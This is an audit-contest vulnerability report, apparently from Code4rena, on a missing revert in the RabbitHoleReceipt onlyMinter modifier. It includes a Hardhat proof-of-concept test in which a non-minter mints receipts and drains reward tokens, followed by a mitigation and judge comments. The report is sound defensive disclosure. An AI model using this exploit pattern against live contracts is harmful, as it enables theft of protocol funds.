User, who is not RabbitHoleReceipt contract's minter, can mint RabbitHole receipts and claim associated rewards

[code423n4]

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L98-L104
https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L58-L61

Vulnerability details

Impact

Anyone can call the following RabbitHoleReceipt.mint function to mint one or more RabbitHole receipt without the claim signer's consent because its RabbitHoleReceipt.onlyMinter modifier executes msg.sender == minterAddress, which does not revert when msg.sender is not minterAddress. A malicious actor is able to mint as many RabbitHole receipts as she or he wants and claim the associated rewards to drain most or all of the reward token balance owned by the quest contract.

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L98-L104

    function mint(address to_, string memory questId_) public onlyMinter {
        _tokenIds.increment();
        uint newTokenID = _tokenIds.current();
        questIdForTokenId[newTokenID] = questId_;
        timestampForTokenId[newTokenID] = block.timestamp;
        _safeMint(to_, newTokenID);
    }

https://github.com/rabbitholegg/quest-protocol/blob/main/contracts/RabbitHoleReceipt.sol#L58-L61

    modifier onlyMinter() {
        msg.sender == minterAddress;
        _;
    }

Proof of Concept

Please append the following test in the claim() describe block in quest-protocol\test\Erc20Quest.spec.ts. This test will pass to demonstrate the described scenario.

    it.only("User, who is not RabbitHoleReceipt contract's minter, can mint RabbitHole receipts and claim associated rewards", async () => {
      // owner is RabbitHoleReceipt contract's minter
      const minterAddress = await deployedRabbitholeReceiptContract.minterAddress()
      expect(minterAddress, owner.address)

      await deployedQuestContract.start()

      await ethers.provider.send('evm_increaseTime', [10000])

      // firstAddress does not own any reward tokens at this moment
      expect(await deployedSampleErc20Contract.balanceOf(firstAddress.address)).to.equal(0)

      const startingQuestContractRewardTokenBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)

      // firstAddress, who is not RabbitHoleReceipt contract's minter,
      //   is able to mint multiple RabbitHole receipts without claim signer's consent and claim the associated rewards 
      for (let i = 0; i < 10; i++) {
        await deployedRabbitholeReceiptContract.connect(firstAddress).mint(firstAddress.address, questId)
        await deployedQuestContract.connect(firstAddress).claim()
      }

      // firstAddress now owns rewardAmount * 10 reward tokens
      expect(await deployedSampleErc20Contract.balanceOf(firstAddress.address)).to.equal(rewardAmount * 10)

      // quest contract now owns rewardAmount * 10 less reward tokens than before
      const endQuestContractRewardTokenBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)
      expect(startingQuestContractRewardTokenBalance.sub(endQuestContractRewardTokenBalance)).to.equal(rewardAmount * 10)

      await ethers.provider.send('evm_increaseTime', [-10000])
    })

Tools Used

VSCode

Recommended Mitigation Steps

The RabbitHoleReceipt.onlyMinter modifier can be updated to revert if msg.sender is not minterAddress.

[c4-judge]

kirk-baird marked the issue as duplicate of #9

[c4-judge]

kirk-baird marked the issue as satisfactory